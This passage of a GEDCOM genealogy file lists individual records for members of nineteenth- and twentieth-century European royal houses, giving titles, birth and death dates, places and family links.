@I432@ INDI\n1 NAME Don Juan of_Spain//\n1 SEX M\n1 BIRT\n2 DATE    JUN 1913\n2 PLAC San Ildefonso,,Spain\n1 FAMS @F149@\n1 FAMC @F143@\n0 @I433@ INDI\n1 NAME Beatrice  //\n1 SEX F\n1 BIRT\n2 DATE        1909\n1 FAMS @F1251@\n1 FAMC @F143@\n0 @I434@ INDI\n1 NAME Maria de_las_Mercedes of_Bourbon//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1910\n2 PLAC Madrid,,Spain\n1 FAMS @F149@\n1 FAMC @F1245@\n0 @I435@ INDI\n1 NAME Juan Carlos //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1938\n1 FAMS @F152@\n1 FAMC @F149@\n0 @I436@ INDI\n1 NAME Marie (Mignon) /Hohenzollern/\n1 SEX F\n1 BIRT\n2 DATE        1900\n1 DEAT\n2 DATE        1961\n1 FAMS @F151@\n1 FAMC @F100@\n0 @I437@ INDI\n1 NAME Elizabeth of_Romania /Hohenzollern/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 12 OCT 1894\n2 PLAC Pelesch\n1 DEAT\n2 DATE 14 NOV 1956\n2 PLAC Cannes,France\n1 FAMS @F150@\n1 FAMC @F100@\n0 @I438@ INDI\n1 NAME Carol_II  /Hohenzollern/\n1 TITL King of Romania\n1 SEX M\n1 BIRT\n2 DATE 15 OCT 1893\n2 PLAC Castle Pelesch,Sinaia,Romania\n1 DEAT\n2 DATE  4 APR 1953\n2 PLAC Villa Mar y Sol,Estoril,Portugal\n1 FAMS @F364@\n1 FAMS @F160@\n1 FAMS @F401@\n1 FAMC @F100@\n0 @I439@ INDI\n1 NAME George_II  /Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE 19 JUL 1890\n2 PLAC Tatoi,Near Athens,Greece\n1 DEAT\n2 DATE  1 APR 1947\n2 PLAC Athens,Greece\n1 BURI\n2 PLAC Tatoi,Near Athens,Greece\n1 FAMS @F150@\n1 FAMC @F139@\n0 @I440@ INDI\n1 NAME Alexander_I of_Yugoslavia //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1934\n1 FAMS @F151@\n1 FAMC @F1195@\n0 @I441@ INDI\n1 NAME Sophia of_Greece /Oldenburg/\n1 SEX F\n1 BIRT\n2 DATE        1938\n1 FAMS @F152@\n1 FAMC @F162@\n0 @I442@ INDI\n1 NAME Helen  //\n1 SEX F\n1 BIRT\n2 DATE        1963\n1 FAMC @F152@\n0 @I443@ INDI\n1 NAME Christine  //\n1 SEX F\n1 BIRT\n2 DATE        1965\n1 FAMC @F152@\n0 @I444@ INDI\n1 NAME Philip of_Asturias //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1968\n1 FAMC @F152@\n0 @I445@ INDI\n1 NAME Gustav Adolf //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1906\n1 DEAT\n2 DATE        1947\n1 FAMS @F217@\n1 FAMC @F35@\n0 @I446@ INDI\n1 NAME Erik of_Vastmanland //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1918\n1 FAMC @F155@\n0 @I447@ INDI\n1 NAME Sigvard Oscar Fredrik//\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE  7 JUN 1907\n1 FAMS @F1291@\n1 FAMS @F1292@\n1 FAMS @F1289@\n1 FAMC @F35@\n0 @I448@ INDI\n1 NAME Bertil Gustaf Oscar//\n1 TITL Prince of Sweden\n1 SEX M\n1 BIRT\n2 DATE 28 FEB 1912\n1 FAMS @F1290@\n1 FAMC @F35@\n0 @I449@ INDI\n1 NAME Carl Johan Arthur//\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE 31 OCT 1916\n1 FAMS @F1293@\n1 FAMS @F1294@\n1 FAMC @F35@\n0 @I450@ INDI\n1 NAME Olav_V  //\n1 TITL King of Norway\n1 SEX M\n1 BIRT\n2 DATE  2 JUL 1903\n2 PLAC Appleton House,Sandringham,Norfolk,England\n1 DEAT\n2 DATE 17 JAN 1991\n2 PLAC Norway\n1 FAMS @F153@\n1 FAMC @F21@\n0 @I451@ INDI\n1 NAME Martha of_Sweden //\n1 TITL Crown Princess\n1 SEX F\n1 BIRT\n2 DATE        1901\n1 DEAT\n2 DATE        1954\n1 FAMS @F153@\n1 FAMC @F215@\n0 @I452@ INDI\n1 NAME Harald  //\n1 TITL Crown Prince\n1 SEX M\n1 BIRT\n2 DATE 21 FEB 1937\n2 PLAC Skaugum,Near Oslo,Norway\n1 FAMS @F154@\n1 FAMC @F153@\n0 @I453@ INDI\n1 NAME Sonja  /Haraldsen/\n1 TITL Crown Princess\n1 SEX F\n1 BIRT\n2 DATE        1937\n1 FAMS @F154@\n1 FAMC @F1282@\n0 @I454@ INDI\n1 NAME Martha Louise //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1971\n1 FAMC @F154@\n0 @I455@ INDI\n1 NAME Haakon of_Norway /Magnus/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1973\n1 FAMC @F154@\n0 @I456@ INDI\n1 NAME Gustav_V  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE 16 JUN 1858\n2 PLAC Drottningholm,Near Stockholm,Sweden\n1 DEAT\n2 DATE 29 OCT 1950\n2 PLAC Drottningholm,Near Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F155@\n1 FAMC @F156@\n0 @I457@ INDI\n1 NAME Victoria of_Baden //\n1 TITL Sweden\n1 SEX F\n1 BIRT\n2 DATE  7 AUG 1862\n2 PLAC Karlsruhe\n1 DEAT\n2 DATE  4 APR 1930\n2 PLAC Rome,Italy\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F155@\n0 @I458@ INDI\n1 NAME Oscar_II  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE 21 JAN 1829\n2 PLAC Stockholm,Sweden\n1 DEAT\n2 DATE  8 DEC 1907\n2 PLAC Stockholm,Sweden\n1 BURI\n2 PLAC Stockholm,Sweden\n1 FAMS @F156@\n1 FAMC @F627@\n0 @I459@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 BIRT\n2 DATE  9 JUL 1836\n2 PLAC Biebrich\n1 DEAT\n2 DATE 30 DEC 1913\n2 PLAC Stockholm,Sweden\n1 FAMS @F156@\n1 FAMC @F209@\n0 @I460@ INDI\n1 NAME Eleonore of_Solms- Hohensolms-Lich//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1871\n1 DEAT\n2 DATE        1937\n1 FAMS @F157@\n0 @I461@ INDI\n1 NAME George Donatus of_Hesse//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1906\n1 DEAT\n2 DATE        1937\n1 FAMS @F158@\n1 FAMC @F157@\n0 @I462@ INDI\n1 NAME Louis  //\n1 SEX M\n1 BIRT\n2 DATE        1908\n1 DEAT\n2 DATE        1968\n1 FAMS @F159@\n1 FAMC @F157@\n0 @I463@ INDI\n1 NAME Cecilie of_Greece /Mountbatten/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1911\n1 DEAT\n2 DATE        1937\n1 FAMS @F158@\n1 FAMC @F28@\n0 @I464@ INDI\n1 NAME Margaret  /Campbell-Geddes/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1913\n1 FAMS @F159@\n1 FAMC @F1242@\n0 @I465@ INDI\n1 NAME Christopher  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1940\n1 FAMS @F1334@\n1 FAMS @F1335@\n1 FAMC @F75@\n0 @I466@ INDI\n1 NAME George  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1957\n1 FAMS @F1276@\n1 FAMC @F75@\n0 @I467@ INDI\n1 NAME Olga  //\n1 SEX F\n1 FAMC @F75@\n0 @I468@ INDI\n1 NAME Michael  /Hohenzollern/\n1 TITL King of Romania\n1 SEX M\n1 BIRT\n2 DATE 25 OCT 1921\n2 PLAC Pelesch,Sinaia,Romania\n1 FAMS @F161@\n1 FAMC @F160@\n0 @I469@ INDI\n1 NAME Anne of_Bourbon-Parma //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 18 SEP 1923\n2 PLAC Paris,France\n1 FAMS @F161@\n1 FAMC @F399@\n0 @I470@ INDI\n1 NAME Frederica of_Hanover /Hanover/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 18 APR 1917\n2 PLAC Blankenburg,Harz,Germany\n1 DEAT\n2 DATE  6 FEB 1981\n2 PLAC Madrid,Spain\n1 BURI\n2 PLAC Tatoi\n1 FAMS @F162@\n1 FAMC @F198@\n0 @I471@ INDI\n1 NAME Constantine_II  /Oldenburg/\n1 TITL King of Greece\n1 SEX M\n1 BIRT\n2 DATE  2 JUN 1940\n2 PLAC Psychiko\n1 FAMS @F163@\n1 FAMC @F162@\n0 @I472@ INDI\n1 NAME Anne-Marie of_Denmark //\n1 SEX F\n1 BIRT\n2 DATE 30 AUG 1946\n2 PLAC Copenhagen,Denmark\n1 FAMS @F163@\n1 FAMC @F402@\n0 @I473@ INDI\n1 NAME Aspasia  /Manos/\n1 SEX F\n1 BIRT\n2 DATE  4 SEP 1896\n2 PLAC Athens,Greece\n1 DEAT\n2 DATE  7 AUG 1972\n2 PLAC Venice,Italy\n1 FAMS @F164@\n1 FAMC @F403@\n0 @I474@ INDI\n1 NAME Alexandra of_Greece //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1921\n1 FAMS @F165@\n1 FAMC @F164@\n0 @I475@ INDI\n1 NAME Peter_II of_Yugoslavia //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE  6 SEP 1923\n2 PLAC Belgrade\n1 DEAT\n2 DATE        1970\n1 FAMS @F165@\n1 FAMC @F151@\n0 @I476@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 BIRT\n2 DATE        1914\n1 FAMS @F168@\n1 FAMS @F169@\n1 FAMC @F28@\n0 @I477@ INDI\n1 NAME Gottfried of_Hohenlohe- Lagenburg//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1897\n1 DEAT\n2 DATE        1960\n1 FAMS @F166@\n0 @I478@ INDI\n1 NAME Five_children  //\n1 SEX M\n1 FAMC @F166@\n0 @I479@ INDI\n1 NAME Berthold of_Baden //\n1 TITL Margrave\n1 SEX M\n1 BIRT\n2 DATE        1906\n1 DEAT\n2 DATE        1963\n1 FAMS @F167@\n0 @I480@ INDI\n1 NAME Four_Children  //\n1 SEX M\n1 FAMC @F167@\n0 @I481@ INDI\n1 NAME Christopher of_Hesse //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1901\n1 DEAT\n2 DATE        1944\n1 FAMS @F168@\n0 @I482@ INDI\n1 NAME George William of_Hanover//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1915\n1 FAMS @F169@\n0 @I483@ INDI\n1 NAME Eight_children  //\n1 SEX M\n1 FAMC @F169@\n0 @I484@ INDI\n1 NAME Ludwig of_Wurttemberg //\n1 TITL Duke\n1 SEX M\n1 FAMS @F170@\n0 @I485@ INDI\n1 NAME Henriette  //\n1 SEX F\n1 FAMS @F170@\n1 FAMC @F207@\n0 @I486@ INDI\n1 NAME Alexander of_Bulgaria //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1893\n1 FAMS @F172@\n1 FAMC @F109@\n0 @I487@ INDI\n1 NAME Francis Joseph //\n1 SEX M\n1 BIRT\n2 DATE        1861\n1 DEAT\n2 DATE        1924\n1 FAMS @F173@\n1 FAMC @F109@\n0 @I488@ INDI\n1 NAME Gustav Ernst of_Erbach-Schonb//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1840\n1 DEAT\n2 DATE        1908\n1 FAMS @F171@\n0 @I489@ INDI\n1 NAME Johanna  /Loisinger/\n1 SEX F\n1 BIRT\n2 DATE        1865\n1 DEAT\n2 DATE        1951\n1 FAMS @F172@\n1 FAMC @F1236@\n0 @I490@ INDI\n1 NAME Anna of_Montenegro Princess//\n1 SEX F\n1 FAMS @F173@\n0 @I491@ INDI\n1 NAME Alexandra Alexandrovna /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1842\n1 DEAT\n2 DATE        1849\n1 FAMC @F11@\n0 @I492@ INDI\n1 NAME Nicholas Alexandrovich /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1865\n1 FAMC @F11@\n0 @I493@ INDI\n1 NAME Louis_III of_Hesse //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1806\n1 DEAT\n2 DATE        1877\n1 FAMS @F174@\n1 FAMS @F1234@\n1 FAMC @F110@\n0 @I494@ INDI\n1 NAME Edwina  /Ashley/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1901\n1 DEAT\n2 DATE        1960\n1 FAMS @F175@\n1 FAMC @F965@\n0 @I495@ INDI\n1 NAME Mathilde  //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1813\n1 DEAT\n2 DATE        1862\n1 FAMS @F174@\n1 FAMC @F432@\n0 @I496@ INDI\n1 NAME Frederica of_Hesse- Darmstadt//\n1 SEX F\n1 FAMS @F520@\n0 @I497@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1900\n1 FAMS @F1240@\n1 FAMS @F1241@\n1 FAMC @F114@\n0 @I498@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1845\n1 DEAT\n2 DATE        1900\n1 FAMS @F1238@\n1 FAMC @F114@\n0 @I499@ INDI\n1 NAME Anna  //\n1 SEX F\n1 BIRT\n2 DATE        1843\n1 DEAT\n2 DATE        1865\n1 FAMS @F1237@\n1 FAMC @F114@\n0 @I500@ INDI\n1 NAME Patricia  /Mountbatten/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1924\n1 FAMS @F177@\n1 FAMC @F175@\n0 @I501@ INDI\n1 NAME Pamela  /Mountbatten/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1929\n1 FAMS @F178@\n1 FAMC @F175@\n0 @I502@ INDI\n1 NAME Nadejda  //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1896\n1 DEAT\n2 DATE        1963\n1 FAMS @F176@\n1 FAMC @F498@\n0 @I503@ INDI\n1 NAME Tatiana Elizabeth /Mountbatten/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1917\n1 FAMC @F176@\n0 @I504@ INDI\n1 NAME David of_Milford_Haven /Mountbatten/\n1 TITL Marquess\n1 SEX M\n1 BIRT\n2 DATE        1919\n1 DEAT\n2 DATE 14 APR 1970\n1 BURI\n2 PLAC Whippingham Ch.,Isle of Wight,England\n1 FAMS @F963@\n1 FAMS @F964@\n1 FAMC @F176@\n0 @I505@ INDI\n1 NAME John Knatchbull /Ulick/\n1 TITL Lord Brabourne\n1 SEX M\n1 BIRT\n2 DATE        1918\n1 FAMS @F177@\n0 @I506@ INDI\n1 NAME Five_children  //\n1 SEX M\n1 FAMC @F177@\n0 @I507@ INDI\n1 NAME David  /Hicks/\n1 SEX M\n1 BIRT\n2 DATE        1928\n1 FAMS @F178@\n0 @I508@ INDI\n1 NAME Two_Children  //\n1 SEX M\n1 FAMC @F178@\n0 @I509@ INDI\n1 NAME Iris  /Mountbatten/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1920\n1 FAMS @F967@\n1 FAMS @F968@\n1 FAMS @F969@\n1 FAMC @F142@\n0 @I510@ INDI\n1 NAME Auguste  /von_Harrach/\n1 SEX F\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1873\n1 FAMS @F179@\n0 @I511@ INDI\n1 NAME Daughter Stillborn //\n1 SEX F\n1 FAMC @F145@\n0 @I512@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1834\n1 FAMC @F388@\n0 @I513@ INDI\n1 NAME Rosalie of_Hohenau /von_Rauch/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1820\n1 DEAT\n2 DATE        1879\n1 FAMS @F181@\n0 @I514@ INDI\n1 NAME Himiltude  //\n1 SEX F\n1 FAMS @F182@\n0 @I515@ INDI\n1 NAME Paul Frederick //\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1842\n1 FAMS @F183@\n0 @I516@ INDI\n1 NAME Marie of_Saxe-Weimar- Eisenach//\n1 SEX F\n1 BIRT\n2 DATE        1808\n1 DEAT\n2 DATE        1877\n1 FAMS @F184@\n0 @I517@ INDI\n1 NAME Caroline of_Zweibrucken //\n1 SEX F\n1 FAMS @F81@\n0 @I518@ INDI\n1 NAME Cecilie of_Mecklenburg- Schwerin//\n1 SEX F\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE        1954\n1 FAMS @F186@\n0 @I519@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE        1906\n1 DEAT\n2 DATE        1940\n1 FAMS @F187@\n1 FAMC @F186@\n0 @I520@ INDI\n1 NAME Louis Ferdinand of_Prussia//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1907\n1 FAMS @F188@\n1 FAMC @F186@\n0 @I521@ INDI\n1 NAME Hubertus  //\n1 SEX M\n1 BIRT\n2 DATE        1909\n1 DEAT\n2 DATE        1950\n1 FAMS @F189@\n1 FAMS @F190@\n1 FAMC @F186@\n0 @I522@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1911\n1 DEAT\n2 DATE        1966\n1 FAMS @F191@\n1 FAMC @F186@\n0 @I523@ INDI\n1 NAME Alexandrine  //\n1 SEX F\n1 BIRT\n2 DATE        1915\n1 DEAT\n2 DATE        1980\n1 FAMC @F186@\n0 @I524@ INDI\n1 NAME Cecilie  //\n1 SEX F\n1 BIRT\n2 DATE        1917\n1 DEAT\n2 DATE        1975\n1 FAMS @F192@\n1 FAMC @F186@\n0 @I525@ INDI\n1 NAME Dorothea  /von_Salviati/\n1 SEX F\n1 BIRT\n2 DATE        1907\n1 DEAT\n2 DATE        1972\n1 FAMS @F187@\n0 @I526@ INDI\n1 NAME Dau._1  //\n1 SEX F\n1 FAMC @F187@\n0 @I527@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F187@\n0 @I528@ INDI\n1 NAME Kira of_Russia //\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1909\n1 DEAT\n2 DATE        1967\n1 FAMS @F188@\n1 FAMC @F213@\n0 @I529@ INDI\n1 NAME Louis_XIII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 27 SEP 1601\n2 PLAC Fontainebleau,France\n1 DEAT\n2 DATE 14 MAY 1643\n2 PLAC Germain-en-Laye,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F521@\n1 FAMC @F271@\n0 @I530@ INDI\n1 NAME Joanna of_Austria //\n1 TITL Arch Duchess\n1 SEX F\n1 FAMS @F489@\n0 @I531@ INDI\n1 NAME Francesco_I of_Tuscany Italy//\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F489@\n0 @I532@ INDI\n1 NAME Alice de_Courtenay //\n1 SEX F\n1 FAMS @F351@\n0 @I533@ INDI\n1 NAME Aymer of_Angouleme /Taillefer/\n1 TITL Count\n1 SEX M\n1 FAMS @F351@\n0 @I534@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F188@\n0 @I535@ INDI\n1 NAME Dau._3  //\n1 SEX F\n1 FAMC @F188@\n0 @I536@ INDI\n1 NAME Maria-Anna  /von_Humboldt/\n1 SEX F\n1 BIRT\n2 DATE        1916\n1 FAMS @F189@\n0 @I537@ INDI\n1 NAME Magdalene  /Reuss/\n1 SEX F\n1 BIRT\n2 DATE        1920\n1 FAMS @F190@\n0 @I538@ INDI\n1 NAME Dau._1  //\n1 SEX F\n1 FAMC @F190@\n0 @I539@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F190@\n0 @I540@ INDI\n1 NAME Brigid  /Guinness/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1920\n1 FAMS @F191@\n0 @I541@ INDI\n1 NAME Son_1  //\n1 SEX M\n1 FAMC @F191@\n0 @I542@ INDI\n1 NAME Son_2  //\n1 SEX M\n1 FAMC @F191@\n0 @I543@ INDI\n1 NAME Son_3  //\n1 SEX M\n1 FAMC @F191@\n0 @I544@ INDI\n1 NAME Dau._1  //\n1 SEX F\n1 FAMC @F191@\n0 @I545@ INDI\n1 NAME Dau._2  //\n1 SEX F\n1 FAMC @F191@\n0 @I546@ INDI\n1 NAME Clyde  /Harris/\n1 SEX M\n1 FAMS @F192@\n0 @I547@ INDI\n1 NAME Sophie Charlotte //\n1 SEX F\n1 BIRT\n2 DATE        1879\n1 DEAT\n2 DATE        1964\n1 FAMS @F193@\n0 @I548@ INDI\n1 NAME Adelheid of_Saxe- Meiningen//\n1 SEX F\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE        1971\n1 FAMS @F194@\n0 @I549@ INDI\n1 NAME Alexandra of_Schleswig- //\n1 SEX F\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1957\n1 FAMS @F195@\n0 @I550@ INDI\n1 NAME Ina Maria /von_Bassewitz/\n1 SEX F\n1 BIRT\n2 DATE        1888\n1 DEAT\n2 DATE        1973\n1 FAMS @F196@\n0 @I551@ INDI\n1 NAME Marie Auguste of_Anhalt//\n1 SEX F\n1 BIRT\n2 DATE        1898\n1 DEAT\n2 DATE        1983\n1 FAMS @F197@\n0 @I552@ INDI\n1 NAME Ernest Augustus of_Brunswick/Hanover/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1887\n1 DEAT\n2 DATE        1953\n1 FAMS @F198@\n1 FAMC @F85@\n0 @I553@ INDI\n1 NAME Frederick William_II //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE 25 SEP 1744\n2 PLAC Berlin\n1 DEAT\n2 DATE 16 DEC 1797\n2 PLAC Marmorpalais,Potsdam\n1 FAMS @F199@\n1 FAMS @F200@\n1 FAMC @F205@\n0 @I554@ INDI\n1 NAME Elizabeth Christine of_Brunswick//\n1 SEX F\n1 BIRT\n2 DATE  8 NOV 1746\n2 PLAC Wolfenbuttel\n1 DEAT\n2 DATE 18 FEB 1840\n2 PLAC Stettin\n1 FAMS @F199@\n0 @I555@ INDI\n1 NAME Frederica Charlotte of_Prussia//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  7 MAY 1767\n2 PLAC Charlottenburg\n1 DEAT\n2 DATE  6 AUG 1820\n2 PLAC Oatlands Park,Weybridge,Surrey,England\n1 FAMS @F185@\n1 FAMC @F199@\n0 @I556@ INDI\n1 NAME Frederica of_Hesse- Darmstadt//\n1 SEX F\n1 BIRT\n2 DATE 16 OCT 1751\n2 PLAC Prenzlau\n1 DEAT\n2 DATE 25 FEB 1805\n2 PLAC Berlin\n1 FAMS @F200@\n1 FAMC @F81@\n0 @I557@ INDI\n1 NAME Christine  //\n1 SEX F\n1 BIRT\n2 DATE        1772\n1 DEAT\n2 DATE        1773\n1 FAMC @F200@\n0 @I558@ INDI\n1 NAME Louis  //\n1 SEX M\n1 BIRT\n2 DATE        1773\n1 DEAT\n2 DATE        1796\n1 FAMS @F201@\n1 FAMC @F200@\n0 @I559@ INDI\n1 NAME Wilhelmina  //\n1 SEX F\n1 BIRT\n2 DATE 18 NOV 1774\n2 PLAC Potsdam\n1 DEAT\n2 DATE 12 OCT 1837\n2 PLAC The Hague\n1 FAMS @F202@\n1 FAMC @F200@\n0 @I560@ INDI\n1 NAME Son Stillborn //\n1 SEX M\n1 FAMC @F200@\n0 @I561@ INDI\n1 NAME Augusta  //\n1 SEX F\n1 BIRT\n2 DATE        1780\n1 DEAT\n2 DATE        1841\n1 FAMS @F203@\n1 FAMC @F200@\n0 @I562@ INDI\n1 NAME Charles  //\n1 SEX M\n1 BIRT\n2 DATE        1781\n1 DEAT\n2 DATE        1846\n1 FAMC @F200@\n0 @I563@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE        1783\n1 DEAT\n2 DATE        1851\n1 FAMS @F204@\n1 FAMC @F200@\n0 @I564@ INDI\n1 NAME Charles of_Mecklenburg- Strelitz//\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F520@\n0 @I565@ INDI\n1 NAME William_I of_Netherlands //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE 24 AUG 1772\n2 PLAC Oraniensaal,The Hague\n1 DEAT\n2 DATE 12 DEC 1843\n2 PLAC Berlin,Germany\n1 FAMS @F202@\n1 FAMS @F468@\n1 FAMC @F239@\n0 @I566@ INDI\n1 NAME William_II of_Hesse //\n1 TITL Elector\n1 SEX M\n1 FAMS @F203@\n0 @I567@ INDI\n1 NAME Maria Anna of_Hesse//\n1 SEX F\n1 BIRT\n2 DATE        1785\n1 DEAT\n2 DATE        1846\n1 FAMS @F204@\n0 @I568@ INDI\n1 NAME Augustus William //\n1 SEX M\n1 BIRT\n2 DATE        1722\n1 DEAT\n2 DATE        1758\n1 FAMS @F205@\n1 FAMC @F435@\n0 @I569@ INDI\n1 NAME Louise of_Brunswick //\n1 SEX F\n1 BIRT\n2 DATE        1722\n1 DEAT\n2 DATE        1780\n1 FAMS @F205@\n0 @I570@ INDI\n1 NAME Frederick Henry Charles//\n1 SEX M\n1 BIRT\n2 DATE        1747\n1 DEAT\n2 DATE        1767\n1 FAMC @F205@\n0 @I571@ INDI\n1 NAME Wilhelmine  //\n1 SEX F\n1 BIRT\n2 DATE        1751\n1 DEAT\n2 DATE        1820\n1 FAMS @F206@\n1 FAMC @F205@\n0 @I572@ INDI\n1 NAME George Charles Emil//\n1 SEX M\n1 BIRT\n2 DATE        1758\n1 DEAT\n2 DATE        1759\n1 FAMC @F205@\n0 @I573@ INDI\n1 NAME William_V of_Orange //\n1 SEX M\n1 FAMS @F206@\n0 @I574@ INDI\n1 NAME Charles Christian of_Nassau-Weilb//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1735\n1 DEAT\n2 DATE        1788\n1 FAMS @F207@\n0 @I575@ INDI\n1 NAME Caroline  //\n1 SEX F\n1 BIRT\n2 DATE        1743\n1 DEAT\n2 DATE        1787\n1 FAMS @F207@\n1 FAMC @F238@\n0 @I576@ INDI\n1 NAME Friedrich Wilhelm of_Nassau-Weilb//\n1 TITL Prince\n1 SEX M\n1 FAMS @F208@\n1 FAMC @F207@\n0 @I577@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F208@\n0 @I578@ INDI\n1 NAME Wilhelm of_Nassau //\n1 TITL Duke\n1 SEX M\n1 FAMS @F209@\n1 FAMC @F208@\n0 @I579@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F209@\n0 @I580@ INDI\n1 NAME Adolphe of_Luxembourg //\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F210@\n1 FAMC @F209@\n0 @I581@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F210@\n0 @I582@ INDI\n1 NAME Guillaume_IV of_Luxembourg //\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F211@\n1 FAMC @F210@\n0 @I583@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F211@\n0 @I584@ INDI\n1 NAME Charlotte of_Luxembourg //\n1 TITL Grand Duchess\n1 SEX F\n1 FAMS @F212@\n1 FAMC @F211@\n0 @I585@ INDI\n1 NAME Unknown  //\n1 SEX M\n1 FAMS @F212@\n0 @I586@ INDI\n1 NAME Jean of_Luxembourg //\n1 TITL Grand Duke\n1 SEX M\n1 FAMC @F212@\n0 @I587@ INDI\n1 NAME Marie-Josephe de_Saxe //\n1 SEX F\n1 FAMS @F1185@\n0 @I588@ INDI\n1 NAME Vladimir Cyrilovitch /Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE 30 AUG 1917\n2 PLAC Near Borga,Finland,Finland\n1 FAMS @F1381@\n1 FAMS @F214@\n1 FAMC @F213@\n0 @I589@ INDI\n1 NAME Leonide Bagration- Moukhransky//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1914\n2 PLAC Tiflis\n1 FAMS @F214@\n1 FAMC @F1271@\n0 @I590@ INDI\n1 NAME Gaston  //\n1 TITL Duke of Orleans\n1 SEX M\n1 BIRT\n2 DATE        1608\n1 DEAT\n2 DATE        1660\n1 FAMS @F1372@\n1 FAMC @F271@\n0 @I591@ INDI\n1 NAME James  //\n1 TITL Duke of Segovia\n1 SEX M\n1 BIRT\n2 DATE        1908\n1 DEAT\n2 DATE        1975\n1 FAMS @F1252@\n1 FAMS @F1253@\n1 FAMC @F143@\n0 @I592@ INDI\n1 NAME Dona_Maria of_Bourbon //\n1 SEX F\n1 BIRT\n2 DATE        1937\n1 FAMS @F1246@\n1 FAMC @F149@\n0 @I593@ INDI\n1 NAME Margarite  //\n1 TITL Crown Princess\n1 SEX F\n1 BIRT\n2 DATE        1939\n1 FAMS @F1247@\n1 FAMC @F149@\n0 @I594@ INDI\n1 NAME Alphonso  //\n1 TITL Crown 